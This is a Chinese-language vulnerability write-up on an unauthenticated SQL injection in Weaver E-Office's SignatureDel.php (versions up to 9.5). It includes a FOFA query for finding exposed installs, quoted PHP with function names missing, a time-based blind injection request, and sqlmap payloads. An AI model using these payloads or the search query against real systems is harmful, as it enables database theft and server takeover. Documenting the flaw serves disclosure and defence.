漏洞简介

泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office SignatureDel.php 接口处存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。

影响版本

e-office <=9.5

fofa语句

app="泛微-EOffice"

漏洞分析

直接看 iWebOffice/Signature/SignatureDel.php 的关键业务实现逻辑

<?php

$mSignatureID = $SignatureID;
include_once( "inc/conn.php" );
$query = " \r\n\t\t\t\tSELECT MarkFile FROM  Signature\r\n\t\t\t\t\twhere SignatureID={$mSignatureID}\r\n\t\t\t\t";
$res = ( $connection, $query );
$ROW = ( $res );
$MarkFile = $ROW['MarkFile'];
$MarkFile_Del = ( "UTF-8", "GB2312", $MarkFile );
$Del_Dir = $_SERVER['DOCUMENT_ROOT']."/attachment/".$MarkFile_Del;
@( $Del_Dir );
$query = "Delete from Signature where SignatureID=".$mSignatureID;
( $query );
( "location:SignatureList.php" );
?>

$mSignatureID=$SignatureID 被直接拼接进SQL语句后执行，无任何过滤校验，造成SQL注入漏洞。

漏洞复现

GET /iWebOffice/Signature/SignatureDel.php?SignatureID=1+AND+(SELECT+7431+FROM+(SELECT(SLEEP(5)))LtXU) HTTP/1.1
Host: eoffice.mrxn.net:8082

成功延时 10 秒（执行两次sql）

sqlmap 结果如下

---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: SignatureID=1 RLIKE (SELECT (CASE WHEN (8174=8174) THEN 1 ELSE 0x28 END))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: SignatureID=1 AND (SELECT 7431 FROM (SELECT(SLEEP(5)))LtXU)
---